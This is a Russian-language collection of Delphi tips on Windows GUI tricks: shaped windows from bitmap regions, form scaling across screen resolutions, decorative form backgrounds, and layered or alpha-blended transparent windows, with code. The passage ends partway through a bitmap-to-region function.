окна, которое будем менять, дескритор региона и булевый (boolean) параметр, который указывает - перерисовывать или нет
после изменения. Как только у нас есть дескриптор и регион, то можно вызвать SetWindowRgn(Handle, Region, True) и вуаля!
Заметьте, что Вы не должны освобождать регион при помощи DeleteObject, так как после вызова SetWindowRgn владельцем
региона становится операционная система.
function BitmapToRgn(Image: TBitmap): HRGN;
var
TmpRgn: HRGN;
x, y: integer;
ConsecutivePixels: integer;
CurrentPixel: TColor;
CreatedRgns: integer;
CurrentColor: TColor;
begin
CreatedRgns := 0;
Result := CreateRectRgn(0, 0, Image.Width, Image.Height);
inc(CreatedRgns);
if (Image.Width = 0) or (Image.Height = 0) then
exit;
for y := 0 to Image.Height - 1 do
begin
CurrentColor := Image.Canvas.Pixels[0,y];
ConsecutivePixels := 1;
for x := 0 to Image.Width - 1 do
begin
CurrentPixel := Image.Canvas.Pixels[x, y];
if CurrentColor = CurrentPixel then
inc(ConsecutivePixels)
else
begin
// Входим в новую зону
if CurrentColor = clWhite then
begin
TmpRgn := CreateRectRgn(x - ConsecutivePixels, y, x, y + 1);
CombineRgn(Result, Result, TmpRgn, RGN_DIFF);
inc(CreatedRgns);
DeleteObject(TmpRgn);
end;
CurrentColor := CurrentPixel;
ConsecutivePixels := 1;
end;
end;
if (CurrentColor = clWhite) and (ConsecutivePixels > 0) then
begin
TmpRgn := CreateRectRgn(x-ConsecutivePixels, y, x, y+1);
CombineRgn(Result, Result, TmpRgn, RGN_DIFF);
inc(CreatedRgns);
DeleteObject(TmpRgn);
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
MaskBmp: TBitmap;
begin
MaskBmp := TBitmap.Create;
try
MaskBmp.LoadFromFile('c:\Мои документы\DW.bmp');
Height := MaskBmp.Height;
Width := MaskBmp.Width;
// ОС владеет регионом, после вызова SetWindowRgn
SetWindowRgn(Self.Handle, BitmapToRgn(MaskBmp), True);
finally
MaskBmp.Free;
end;
end;
Наверняка, если ты кодишь на Delphi и твоя ось на данный момент это Windows XP ты заметил что твои проги после
компиляции не выглядят по XP'шному, т.е. все кнопки и другие элементы программы остались такими же как и в прошлых
Виндах (Win98,2000 и т.д.)...
Чтобы исправить эту проблему и продолжить нормально кодить под Win XP делаем следущее:
1) Создаем файл (например mainfest.txt) со следующим содержимым и сохраняем его:
ApplicationDescription
2)Создаем еще один файл , в нем пишем:
1 24 [путь к файлу]/manifest.txt и сохранем его в папку ../Delphi/Bin/ с именем resfile.rc
3)Запускаем файл ../Delphi/Bin/brcc32.exe resfile.rc
4)После всех этих действий в папке ../Delphi/Bin/ появится файлик с именем resfile.res
его нужно прописать в разделе implementation вашего приложения...
Т.е. после implementation пишется следущее:
{$R resfile.res}
Вот и всё! Теперь можно смело сказать что ваша прога заточена под Windows XP ;)
implementation
const
ScreenWidth: Integer = 800; {Я разрабатывал свою форму в режиме 800x600.}
ScreenHeight: Integer = 600;
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
var
x, y: LongInt; {Тип Integer не достаточно большой для наших значений.}
begin
form1.scaled := true;
x := getSystemMetrics(SM_CXSCREEN);
y := getSystemMetrics(SM_CYSCREEN);
if (x <> ScreenHeight) or (y <> ScreenWidth) then
begin
form1.height := form1.height * x div ScreenWidth;
form1.width := form1.width * y div ScreenHeight;
end;
if x <> ScreenWidth then
scaleBy(x, ScreenWidth);
end;
Дополнение
Файл DELSEQ07.FAQ содержит код примера отображения форм в различных разрешениях. К сожалению, он не учитывал ширину
границы окна. Я публикую изменение, масштабирующее компоненты вне зависимости от разрешения экрана и ширины границ
окон. Включите нижеследующий модуль в секцию uses каждого модуля и вызывайте ScaleForm в обработчике формы OnCreate,
передавая в качестве параметра имя формы. Я надеюсь что помог тем, кто столкнулся с данной проблемой.
unit scale;
interface
uses
Forms, WinTypes, WinProcs, SysUtils;
procedure ScaleForm(Sender: TObject);
implementation
procedure ScaleForm(Sender: TObject);
const
{измените это так, чтобы это соответствовало
режиму разрешения во время разработки}
DesignScrY: LongInt = 480;
DesignScrX: LongInt = 640;
DesignBorder: LongInt = 4; {значение в Панели Управления + 1}
var
SystemScrY: LongInt;
SystemScrX: LongInt;
SystemBorder: LongInt;
OldHeight: LongInt;
OldWidth: LongInt;
begin
SystemScrY := GetSystemMetrics(SM_CYSCREEN);
SystemScrX := GetSystemMetrics(SM_CXSCREEN);
SystemBorder := GetSystemMetrics(SM_CYFRAME);
with Sender as TForm do
begin
Scaled := True;
AutoScroll := False;
Top := Top * SystemScrX div DesignScrX;
Left := Left * SystemScrX div DesignScrX;
OldHeight := Height + (DesignBorder - SystemBorder) * 2;
OldWidth := Width + (DesignBorder - SystemBorder) * 2;
ScaleBy((OldWidth * SystemScrX div DesignScrX - SystemBorder * 2),
(OldWidth - DesignBorder * 2));
{
Для форм не имеющих границ измените предшествующие
три строки следующим способом:
OldHeight := Height;
OldWidth := Width;
ScaleBy(SystemScrX, DesignScrX);
}
Height := OldHeight * SystemScrY div DesignScrY;
Width := OldWidth * SystemScrX div DesignScrX;
end;
end;
begin
end.
---------------------------------------
Вывод формы с различными разрешениями экрана.
При проектировании форм часто бывает полезным предусмотреть ситуацию, когда форма и находящиеся на ней элементы
управления должны иметь одинаковый размер вне зависимости от текущего разрешения экрана. Вот небольшой пример как
можно это сделать:
implementation
const
ScreenWidth: LongInt = 800; {Я разрабатывал мою форму в режиме 800x600.}
ScreenHeight: LongInt = 600;
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
scaled := true;
if (screen.width <> ScreenWidth) then
begin
height := longint(height) * longint(screen.height) div ScreenHeight;
width := longint(width) * longint(screen.width) div ScreenWidth;
scaleBy(screen.width, ScreenWidth);
end;
end;
Затем, вероятно, вы захотите иметь нечто, проверяющее размер шрифтов, OK. Прежде, чем вы измените размер шрифта, вам
необходимо убедиться, что объект имеет свойство font. Это может быть сделано следующим образом:
uses typinfo;
var
i: integer;
begin
for i := componentCount - 1 downtto 0 do
with components[i] do
begin
if GetPropInfo(ClassInfo, 'font') <> nil then
font.size := (NewFormWidth DIV OldFormWidth) * font.size;
end;
end;
Примечание: При разработке приложения для различных режимов разрешения вам необходимо учитывать следующие рекомендации:
* Заранее, в самом начале этапа разработки, решите для себя - собираетесь ли вы разрешать масштабировать форму или
нет. Преимущество запрета масштабирования в том, что вам ничего не нужно менять во время выполнения приложения.
Недостаток запрета масштабирования - во время выполнения приложения никаких изменений не происходит (ваша форма может
быть слишком малой или слишком большой для работы в некоторых режимах при отсутствии масштабирования).
* Если вы НЕ собираетесь масштабировать форму, установите свойство Scaled в False.
* В противном случае, установите свойство формы Scaled в True.
* Установите AutoScroll в False. AutoScroll = True означает 'не изменять размер окна формы во время выполнения
риложения', что приводит к "плохому виду" формы, если ее содержимое меняет размер.
* Установите шрифты формы в масштабируемые TrueType-шрифты типа Arial. MS San Serif также подойдет в качестве
альтернативы, только помните, это не TrueType, а bitmapped-шрифт. Только Arial может правильно изменять
свою высоту с дискретностью 1 пиксел. Примечание: Если используемый шрифт не установлен на машине пользователя,
Windows выбирает альтернативный шрифт из данной линейки (семьи) шрифтов. Размеры нового шрифта могут отличаться
от размеров оригинального шрифта, что также может вызвать проблемы.
* Установите свойство формы Position во что-нибудь другое, чем poDesigned. poDesigned всегда показывает форму
в первозданном виде, и, если форма разрабатывалась в разрешении 1280x1024, то вы можете себе представить, что
будет при разрешении 640x480?
* Не "слепляйте" на форме элементы управления, оставляйте между ними, по крайней мере, 4 пикселя, в противном
случае, при изменении месторасположения границы на 1 пиксель (это происходит при масштабировании), элементы
управления наедут друг на друга.
* Для однострочных компонентов Label, у которых свойство Aligned равно alLeft или alRight, установите AutoSize в True.
В противном случае, установите AutoSize в False.
* Убедитесь в том, что компоненты Label имеют достаточный запас по ширине (требуется, примерно, 25%) от длины текущего
текста. (При переводе вашего приложения на другие языки вам необходимо примерно 30%-ный запас от текущей ширины текста).
Если AutoSize - False, убедитесь, что ширины компонента Label достаточно для размещения реального текста.
Если AutoSize - True, убедитесь, что на компоненту Label достаточно места (например, на форме) для размещения
всего текста плюс небольшой запас для его роста при смене шрифтов.
* В случае многострочного текста и компонентов Label с переносом слов, убедитесь, что в нижней части у вас
имеется, по крайней мере, еще одна строчка. Она необходима вам для того, чтобы не допустить переполнения строки,
если размер шрифта увеличивается при масштабировании. Не думайте, что, если вы используете большие шрифты и
переполнения не возникает, то эта проблема снята - кто-нибудь может использовать шрифты с еще большим размером, чем у вас!
* Будьте осторожными при открытии проекта в IDE с другим разрешением. Свойство формы PixelsPerInch будет изменено
как только вы откроете форму, и сохранено в DFM-файле при сохранении проекта. Лучше всего запускать приложение
отдельно от IDE, а редактировать его при одном разрешении. Редактируя формы при различных разрешениях и размерах
шрифтов, вы инициируете проблему "дрейфа" компонентов по форме и изменения их размера.
* Говоря о дрейфе компонент, не следует многократно масштабировать форму, как во время разработки, так и во
время выполнения приложения. Каждое изменение размеров сопровождается ошибками округления, которые достаточно
быстро накапливаются с тех пор, как координаты стали строго целочисленными. Поскольку при калькулировании новых
размеров дробная часть отбрасывается, вновь пересчитанные размеры оказываются меньше, а координаты элементов
управления северо-западнее. Если вы решили разрешить пользователю изменять масштабы форм, начинайте масштабирование
с последней загруженной/созданной формы, этим вы уменьшите накапливаемые при масштабировании ошибки.
* Старайтесь не изменять значение свойства формы PixelsPerInch.
* В общих словах, нет необходимости разрабатывать формы для всех возможных режимов, перед окончательным релизом
вашего приложения вы должны оценить поведение формы в пограничных режимах - 640x480 с маленькими и большими
шрифтами, и при высоком разрешении и, также, с маленькими и большими шрифтами. Это должно быть частью ваших
регулярных проверок на предмет системной совместимости, для ведения так называемой тестирующей контрольной таблицы.
* Обратите пристальное внимание на "однострочные компоненты TMemo" - типа TDBLookupCombo. Системные многострочные
редакторы всегда выводят только целые строки текста - если ширина элемента управления слишком мала для своего
шрифта, то TMemo вообще ничего не показывает (TEdit показывает обрезанный текст). Размер таких компонентов
лучше сделать на несколько пикселей больше, чем на несколько пикселей меньше, тем самым можно определеть
наличие в компоненте оставшейся части текста.
* Обратите внимание на то, что масштабирование во время проектирования и во время выполнения программы отличается
коэффициентом и зависит от высоты шрифта, а не от экранного разрешения в пикселях. Помните также, что
"начало" компонент будет изменяться в зависимости от масштаба формы, и для их "броуновского" движения
также необходимо небольшое пространство.
Если вам надоели обычные монотонные формы, то эта статья - спасенье для вас!!! Всё, что вам нужно
сделать для того, чтобы ваше окно выглядело так же эффектно, как и показанное на рисунке , это только
написать несколько строк кода на событие OnPaint (на прорисовку) для вашего подопытного окна:
procedure TForm1.FormPaint(Sender: TObject);
var
i, j: Integer;
begin
with Form1.Canvas do
for j := 0 to Form1.Height do
for i := 0 to Form1.Width do
Pixels[i, j] := Trunc(Random($00000095));
end;
С помощью двух циклов мы обошли поверхность окна (канву) и каждому пикселю задали случайный оттенок нужного цвета.
(Для тех, кто не знает, ПИКСЕЛЬ - это мельчайшая точка). Цвет задаём 16-ричным кодом, например я указал: $00000095.
Получилось весьма неплохо :-)) Вы можете изменить цвет.
Второй способ (более быстрый):
procedure TForm1.FormPaint(Sender: TObject);
var
h, w, i, j: Integer;
Rect1, Rect2: TRect;
begin
h := Form1.Height div 10;
w := Form1.Width div 10;
with Form1.Canvas do
begin
for j := 0 to h do
for i := 0 to w do
Pixels[i,j]:=Trunc(Random($00000095));
Rect1 := Rect(0, 0, w, h);
for j := 0 to 9 do
begin
for i := 0 to 9 do
begin
Rect2 := Rect(w*j, h*i, w*(j+1), h*(i+1));
CopyRect(Rect2, Form1.Canvas, Rect1);
end;
end;
end;
end;
Умея создавать окно эллипсовидной формы, для вас не составит большого труда слепить что-нибудь наподобие того, что
показано на рисунке. Всё, что вам нужно сделать - это создать не один, а два региона и объединить их, используя
функцию CombineRgn, т.е. теперь по созданию окна можно написать что-то вроде этого:
procedure TForm1.FormCreate(Sender: TObject);
var
hsWindowRegion, hsWindowRegion2: Integer;
begin
hsWindowRegion := CreateEllipticRgn(50, 50, 350, 200);
hsWindowRegion2:=CreateEllipticRgn(80, 80, 200, 150);
CombineRgn(hsWindowRegion, hsWindowRegion, hsWindowRegion2, RGN_DIFF);
SetWindowRgn(Handle, hsWindowRegion, true);
end;
Мы уже знаем какую функцию нужно использовать для объединения регионов, но как же она действует и что же ей нужно указывать?
Вводятся следующие параметры:
* Дескриптор региона назначения,
* Дескриптор первого региона источника,
* Дескриптор второго региона источника,
* Режим взаимодействия регионов источников.
В качестве режима мы указали константу RGN_DIFF, а использовать можем:
* RGN_AND - Создает пересечение из двух смешанных областей,
* RGN_COPY - Создает копию области, идентифицированной дескриптором первой области источника,
* RGN_DIFF - Выводит части первой области источника, которые не пересекаются со второй,
* RGN_OR - Создает объединение двух смешанных областей,
* RGN_XOR - Создает объединение двух смешанных областей за исключением зоны перекрытия.
TStretchHandle = class(TCustomControl)
private
procedure WMEraseBkgnd(var message: TWMEraseBkgnd); message WM_ERASEBKGND;
procedure WMGetDLGCode(var message: TMessage); message WM_GETDLGCODE;
protected
procedure Paint; override;
property Canvas;
public
procedure CreateParams(var Params: TCreateParams); override;
end;
procedure TStretchHandle.CreateParams(var Params: TCreateParams);
begin
{ set default Params values }
inherited CreateParams(Params);
{ then add transparency }
Params.ExStyle := Params.ExStyle + WS_EX_TRANSPARENT;
end;
procedure TStretchHandle.WMGetDLGCode(var message: TMessage);
begin
{ completely fake erase, don't call inherited, don't collect $200 }
message.Result := DLGC_WANTARROWS;
end;
procedure TStretchHandle.WMEraseBkgnd(var message: TWMEraseBkgnd);
begin
{ completely fake erase, don't call inherited, don't collect $200 }
message.Result := 1;
end;
procedure TStretchHandle.Paint;
begin
inherited Paint;
with Canvas do
begin
// рисуете что нужно -
// где не рисовали, там будет "прозрачно"
end;
end;
--------------------------------------------------------
САМЫЙ ПРОСТОЙ И РАБОЧИЙ СПОСОБ!!!!!!!!!!!!!!!!!!!!!!!!
function BitmapToRegion(bmp: TBitmap) : dword; stdcall;
var
ix,iy : integer; // переменные циклов
tc : TColor; // модификатор цвета прозрачности
b1 : boolean; // идёт просмотр непрозрачных пикселей
c1 : cardinal; // вспомогательный регион
i1 : integer; // первая позиция реального пикселя
begin
Result := 0;
i1 := 0;
// устанавливаем модификатор прозрачности
tc := bmp.transparentColor and $FFFFFF;
with bmp.canvas do
// сканируем все линии
for iy := 0 to bmp.height - 1 do
begin
b1 := False;
// сканируем пиксели в линии
for ix:=0 to bmp.Width - 1 do
// если последний или первый пиксель
if (pixels[ix, iy] and $FFFFFF <> tc) <> b1 then begin
// последний, добавляем регион
if b1 then begin
c1:=CreateRectRgn(i1,iy,ix,iy+1);
if result<>0 then
begin
// это не первый регион
CombineRgn(Result, Result, c1, RGN_OR);
DeleteObject(c1);
// создаём первый регион
end
else
Result := c1;
end else i1 := ix;
// меняем режим просмотра пикселей
b1:=not b1;
end;
// последний реальный пиксель?
if b1 then begin
c1:=CreateRectRgn(i1, iy, bmp.width-1, iy+1);
if (Result <> 0) then
begin
CombineRgn(Result, Result, c1, RGN_OR);
DeleteObject(c1);
end
else
Result := c1;
end;
end;
end;
procedure TForm2.FormPaint(Sender: TObject);
Var
P: TPicture;
sapppath : string;
begin
Sapppath := ExtractFilePath(Application.ExeName);
P := TPicture.Create;
Try
P.LoadFromFile(Form1.OpenPictureDialog1.FileName);
Form2.Width := P.Width;
Form2.Height := P.Height;
form2.Left := (Screen.Width - P.Width) div 2;
form2.top := (Screen.Height - P.Height) div 2;
Form2.Canvas.Draw(0,0,P.Graphic);
Finally
P.Free;
End;
end;
procedure TForm2.FormShow(Sender: TObject);
var
Region : HRGN;
P: TBitmap;
begin
if not FileExists(Form1.OpenPictureDialog1.FileName) then
begin
MessageDlg('Продолжение загрузки невозможно - отсутствует загружаемый файл',mtError,mbOKCancel,0);
Halt;
end;
begin
P := TBitmap.Create;
try
P.LoadFromFile(Form1.OpenPictureDialog1.FileName);
Region := BitmapToRegion(p);
SetWindowRgn(Form2.Handle, Region, True);
DeleteObject(Region);
finally
P.Free;
end;
end;
Application.ProcessMessages();
end;
Если вам надоели обычные монотонные формы, то эта статья - спасенье для вас!!! Всё, что вам нужно сделать для того, чтобы
ваше окно выглядело так же эффектно, как и показанное на рисунке - это только написать несколько строк кода:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs;
type
TForm1 = class(TForm)
procedure FormPaint(Sender: TObject);
private
{ Private declarations }
plasma: array [0..768, 0..768] of byte;
procedure makeplasma;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormPaint(Sender: TObject);
var
x, y: integer;
begin
makeplasma;
for x := 0 to 255 do
begin
for y := 0 to 255 do
begin
Form1.Canvas.Pixels[x, y] := rgb(plasma[x, y],
plasma[x + 256, y + 256], plasma[x + 512, y + 512]);
end;
Form1.update;
end;
end;
procedure TForm1.makeplasma;
procedure halfway(x1,y1,x2,y2: integer);
procedure adjust(xa,ya,x,y,xb,yb: integer);
var
d: integer;
v: double;
begin
if plasma[x,y]<>0 then
exit;
d:=Abs(xa-xb)+Abs(ya-yb);
v:=(plasma[xa,ya]+plasma[xb,yb])/2+(random-0.5)*d*2;
if v<1 then
v:=1;
if v>=193 then
v:=192;
plasma[x,y]:=Trunc(v);
end;
var
x, y: integer;
v: double;
begin
if (x2-x1<2) and (y2-y1<2) then
exit;
x:=(x1+x2) div 2;
y:=(y1+y2) div 2;
adjust(x1,y1,x,y1,x2,y1);
adjust(x2,y1,x2,y,x2,y2);
adjust(x1,y2,x,y2,x2,y2);
adjust(x1,y1,x1,y,x1,y2);
if plasma[x,y]=0 then
begin
v:=(plasma[x1,y1]+plasma[x2,y1]+plasma[x2,y2]+plasma[x1,y2])/4;
plasma[x,y]:=Trunc(v);
end;
halfway(x1,y1,x,y);
halfway(x,y1,x2,y);
halfway(x,y,x2,y2);
halfway(x1,y,x,y2);
end;
var
x, y: integer ;
begin
randomize;
plasma[0,768]:=random(192);
plasma[768,768]:=random(192);
plasma[768,0]:=random(192);
plasma[0,0]:=random(192);
halfway(0,0,768,768);
end;
end.
const
WS_EX_LAYERED = $80000;
LWA_COLORKEY = 1;
LWA_ALPHA = 2;
function SetLayeredWindowAttributes(
hwnd : HWND; // handle to the layered window
crKey : TColor; // specifies the color key
bAlpha : byte; // value for the blend function
dwFlags : DWORD // action
): BOOL; stdcall;
function SetLayeredWindowAttributes; external 'user32.dll';
procedure TForm1.FormCreate(Sender: TObject);
begin
if SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE)
or WS_EX_LAYERED) = 0 then
ShowMessage(SysErrorMessage(GetLastError));
if not SetLayeredWindowAttributes(Handle, 0, 128, LWA_ALPHA) then
// ^^^ степень прозрачности
// 0 - полная прозрачность
// 255 - полная непрозрачность
ShowMessage(SysErrorMessage(GetLastError));
end;
Есть более продвинутые возможности (например, альфа-канал в битмапе)
http://msdn.microsoft.com/isapi/msdnlib.idc?theURL=/library/techart/layerwin.htm
unit TransparentWnd;
interface
uses
Windows, Messages, Classes, Controls, Forms;
type
_Percentage = 0..100;
TTransparentWnd = class(TComponent)
private
{ Private declarations }
protected
{ Protected declarations }
_percent: _Percentage;
_auto: boolean;
User32: HMODULE;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
//These work on a Handle
//It doesn't change the Percent Property Value!
procedure SetTransparentHWND(hwnd: THandle; percent : _Percentage);
//These work on the Owner (a TWinControl decendant is the Minumum)
//They don't change the Percent Property Value!
procedure SetTransparent; overload;
procedure SetTransparent(percent : _Percentage); overload;
procedure SetOpaqueHWND(hwnd : THandle);
procedure SetOpaque;
published
{ Published declarations }
//This works on the Owner (a TWinControl decendant is the Minumum)
property Percent: _Percentage read _percent write _percent default 0;
property AutoOpaque: boolean read _auto write _auto default false;
end;
procedure register;
implementation
const LWA_ALPHA = $2;
const GWL_EXSTYLE = (-20);
const WS_EX_LAYERED = $80000;
const WS_EX_TRANSPARENT = $20;
var
SetLayeredWindowAttributes: function (hwnd: LongInt; crKey: byte;
bAlpha: byte; dwFlags: LongInt): LongInt; stdcall;
constructor TTransparentWnd.Create(AOwner: TComponent);
begin
inherited;
User32 := LoadLibrary('USER32.DLL');
if User32 <> 0 then
@SetLayeredWindowAttributes := GetProcAddress(User32, 'SetLayeredWindowAttributes')
else
SetLayeredWindowAttributes := nil;
end;
destructor TTransparentWnd.Destroy;
begin
if User32 <> 0 then
FreeLibrary(User32);
inherited;
end;
procedure TTransparentWnd.SetOpaqueHWND(hwnd: THandle);
var
old: THandle;
begin
if IsWindow(hwnd) then
begin
old := GetWindowLongA(hwnd,GWL_EXSTYLE);
SetWindowLongA(hwnd, GWL_EXSTYLE, old and ((not 0)-WS_EX_LAYERED));
end;
end;
procedure TTransparentWnd.SetOpaque;
begin
Self.SetOpaqueHWND((Self.Owner as TWinControl).Handle);
end;
procedure TTransparentWnd.SetTransparent;
begin
Self.SetTransparentHWND((Self.Owner as TWinControl).Handle, Self._percent);
end;
procedure TTransparentWnd.SetTransparentHWND(hwnd: THandle; percent : _Percentage);
var
old: THandle;
begin
if (User32 <> 0) and (Assigned(SetLayeredWindowAttributes)) and (IsWindow(hwnd)) then
if (_auto=true) and (percent=0) then
SetOpaqueHWND(hwnd)
else
begin
percent := 100 - percent;
old := GetWindowLongA(hwnd, GWL_EXSTYLE);
SetWindowLongA(hwnd, GWL_EXSTYLE, old or WS_EX_LAYERED);
SetLayeredWindowAttributes(hwnd, 0, (255 * percent) div 100, LWA_ALPHA);
end;
end;
procedure TTransparentWnd.SetTransparent(percent: _Percentage);
begin
Self.SetTransparentHWND((Self.Owner as TForm).Handle, percent);
end;
procedure register;
begin
RegisterComponents('Win32', [TTransparentWnd]);
end;
end.
Это компонент, для Дельфи, инкапсулирующий нужные функции
----------------------------------------------------
SetWindowTransp(hndl: THandle; Perc: byte);
hndl
Hanle окна, которое надо сделать полупрозрачным.
Perc
Число от 1 до 100, указывающее уровень прозрачности.
В Delphi 6 разработчикам Windows-приложений доступна одна из замечательных возможностей создавать (полу)прозрачные
формы (окна). В Delphi 6 класс TForm поддерживает формы со слоями, которые имеют свойства AlphaBlend, AlphaBlendValue
TransparentColor, и TransparentColorValue.
Прозрачность в форме означает то, что пользователь может видить то, что находится позати формы.
Чтобы подготовить форму к прозрачности, Вам потребуется установить свойство AlphaBlend в True. Если AlphaBlend
установлено в True, то свойство AlphaBlendValue указывает степень прозрачности. Это свойство позволяет задать
значения от 0 до 255. 0 указывает на полную прозрачность окна, в то время как 255 указывает на непрозрачное окно.
Так же возможно устанавливать свойства AlphaBlend и AlphaBlendValue во время разработки (или во время выполнения
приложения) при помощи Object Inspector.
Возможно, Вы подумаете, что такая возможность в Delphi, может Вам пригодиться довольно редко, однако прозрачностью
можно довольно эффективно привлекать внимание пользователей Вашей программы:
procedure TAboutBox.FormClose
(Sender: TObject; var Action: TCloseAction);
var
i, cavb: 0..255;
begin
if AlphaBlend = False then
begin
AlphaBlendValue := 255;
AlphaBlend := True;
end;
cavb := AlphaBlendValue;
for i := cavb downto 0 do
begin
AlphaBlendValue := i;
Application.ProcessMessages;
end
end;
Вышеприведённый код, в событие OnClose для формы about, создаёт плавно изменяющийся эффект. Когда пользователь
попытается закрыть диалоговое окошко, то форма плавно исчезнет. Делается это путём циклического уменьшения
AlphaBlendValue до нуля.
Другие два новый свойства формы в Delphi 6, это TransparentColor и TransparentColorValue. TransparentColor, это
булевое свойство, которое указывает, будет определённый цвет, указанный в TransparentColorValue прозрачным.
То есть мы можем задать прозрачность только определённому цвету.
И взаключении хотелось бы указать на главный недостаток. Все свойства, описанные выше, не будут работать, если
приложение запущено не под Windows 2000 или выше, и если процессор на компьютере ниже P90.
Фон окна может представлять собой повторяющиеся картинки произвольного размера.
procedure TForm1.FormCreate(Sender: TObject);
begin
bm := TBitMap.Create;
bm.LoadFromFile('Example.bmp');
end;
procedure TForm1.FormPaint(Sender: TObject);
var
x, y: integer;
begin
for x := 0 to Form1.ClientWidth div bm.Width do
for y := 0 to Form1.ClientHeight div bm.Height do
Form1.Canvas.Draw(x * bm.Width, y * bm.Height, bm);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
bm.Destroy;
end;
Вы можете использовать для "подложки" формы любой стиль кисти. Таким образом, можно получить окно "в полосочку",
"в сеточку" и т.д.
procedure TForm1.FormCreate(Sender: TObject);
begin
Form1.Brush.Style := bsDiagCross;
end;
Ту же задачу можно решить, используя свойство кисти Bitmap, позволяющее создавать свои стили. Размер картинки при
этом всегда равен 8X8.
procedure TForm1.FormCreate(Sender: TObject);
begin
Form1.Brush.Bitmap := TBitMap.Create;
Form1.Brush.Bitmap.LoadFromFile('Phone.bmp');
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
Form1.Brush.Bitmap.Destroy;
end;
Немного предистории:
надо было мне создать скиновое окошко. Вроде несложно, исходников по этому делу везде лежит навалом,
бери да делай. Проблема организовалась в том, что для сложных фигур просчет такого окна из растра занимает достаточно
много времени. А когда окон несколько? Короче, я решил все это дело написать самостоятельно, причем отказавшись от
таких вещей, как GetPixel() и CombineRgn(). Получилось вроде здорово и быстро.
Далее следует исходный код с комментариями:
unit RgnUnit;
interface
uses
Windows, SysUtils, Classes;
function CreateBitmapRgn(DC : hDC; Bitmap: hBitmap; TransClr: TColorRef): hRgn;
{
Данная функция создает регион, используя для этого растр Bitmap
и исключая из него цвет TransClr. Все расчеты производятся для
устройства DC.
данная функция состоит из двух частей:
первая часть выделяет память и копирует туда исходное изображение в формате
24 бита на точку, без палитры, т.е. фактически в каждых трех байтах
данного раздела памяти будет записан цвет точки исходного изображения.
Данный формат был выбран из удобства его обработки
(нет необходимости создавать палитру), к тому же нет потери качества
при конвертации исходного изображения. Однако, теоретически можно использовать
любой формат.
Для выделения памяти под конвертируемое изображение используется функция
WinAPI CreateDIBSection. Данная функция выделяет память и создает
независмый растр. Для вызова данной функции необходимо заполнить структуру
BITMAPINFO, что достаточно не сложно.
Внимание! для изображений Windows Bitmap используется разрешение в формате
dots per metr (pixels per metr), стандартному разрешению 72dpi соответствует
2834dpm.
Фактически, данную функция можно не использовать, вручную выделив память
для последующего переноса исходного изображения.
Для конвертации и переноса исходного изображения в выделнную память
используется функция WinAPI GetDIBits. Функции передаются следуюшие параметры:
исходное изображение, количество рядов для переноса, указатель на память,
куда следует перенести изображение, структура BITMAPINFO с заполнеными первыми
шестью членами (именно здесь задяются параметры для конвертирования
изображения). Фактически, данная функция может перевести любой исходный растр
в любой необходимый растр.
вторая чать описываемой функции проходится по области памяти, куда было
занесено конвертируемое изображение, отсекает ненужные области и содает регион.
Для создания региона используется функция WinAPI ExtCreateRegion. Для вызова
данной функции необходимо заполнить структуру RGNDATA, состоящую из структуры
RGNDATAHEADER и необходимого количества структур RECT. в Дельфи структура
RGNDATA описана так:
_RGNDATA = record
rdh: TRgnDataHeader;
Buffer: array[0..0] of CHAR;
Reserved: array[0..2] of CHAR;
end;
RGNDATA = _RGNDATA;
Скорее всего, поле Reserved было введено программистами Дельфи только для того,
чтобы в нее умещался хотя бы один прямоугольник, т.к. в Microsoft Platfrom SDK
этого поля нет. Однако, данная структура нам не подходит, т.к. нам необходимо
учитывать сразу несколько прямоугольников. Для решения этой задачи приходится
выделять память вручную, с учетом RGNDATAHEADER и количества прямоугольников,
необходимых нам, заносить туда прямоугольники (после RGNDATAHEADER),
создавать указатель на структуру RGNDATA и ставить его на выделнную память.
Следовательно, придется два раза пройтись по растру: первый раз - для расчета
количества прямоугольников, а второй - для уже фактического их занесения
в выделенную память.
Есть несколько способов для избежания двойного прохода растра, но все они
имеют свои недостатки и здесь не рассматриваются. В любом случае, даже для
больших и сложных изображений эти два прохода достаточно быстры.
по окнчании работы функции освобождается память, выделенная на конвертируемый
растр и структуру RGNDATA.
}
implementation
//создает регион из растра Bitmap для DC с удалением цвета TransClr
//внимание! TColorRef и TColor не одно и тоже.
//Для перевода используется функция ColorToRGB().
function CreateBitmapRgn(DC: hDC; Bitmap: hBitmap; TransClr: TColorRef): hRgn;
var
bmInfo: TBitmap; // структура BITMAP WinAPI
W, H: Integer; // высота и ширина растра
bmDIB: hBitmap; // дискрептор независимого растра
bmiInfo: BITMAPINFO; // структура BITMAPINFO WinAPI
lpBits, lpOldBits: PRGBTriple; // указатели на структуры RGBTRIPLE WinAPI
lpData: PRgnData; // указатель на структуру RGNDATA WinAPI
X, Y, C, F, I: Integer; // переменные циклов
Buf: Pointer; // указатель
BufSize: Integer; // размер указателя
rdhInfo: TRgnDataHeader; // структура RGNDATAHEADER WinAPI
lpRect: PRect; // указатель на TRect (RECT WinAPI)
begin
Result:=0;
//если растр не задан, выходим
if Bitmap=0 then
Exit;
//узнаем размеры растра
GetObject(Bitmap, SizeOf(bmInfo), @bmInfo);
//используя структуру BITMAP
W:=bmInfo.bmWidth;
H:=bmInfo.bmHeight;
//определяем смещение в байтах
I:=(W*3)-((W*3) div 4)*4;
if I<>0 then
I:=4-I;
//Пояснение: растр Windows Bitmap читается снизу вверх, причем каждая строка
//дополняется нулевыми байтами до ее кратности 4.
//для 32-х битный растров такой сдвиг делать не надо.
//заполняем BITMAPINFO для передачи в CreateDIBSection
bmiInfo.bmiHeader.biWidth:=W; // ширина
bmiInfo.bmiHeader.biHeight:=H; // высота
bmiInfo.bmiHeader.biPlanes:=1; // всегда 1
bmiInfo.bmiHeader.biBitCount:=24; // три байта на пиксель
bmiInfo.bmiHeader.biCompression:=BI_RGB; // без компрессии
bmiInfo.bmiHeader.biSizeImage:=0; // размер не знаем, ставим в ноль
bmiInfo.bmiHeader.biXPelsPerMeter:=2834; // пикселей на метр, гор.
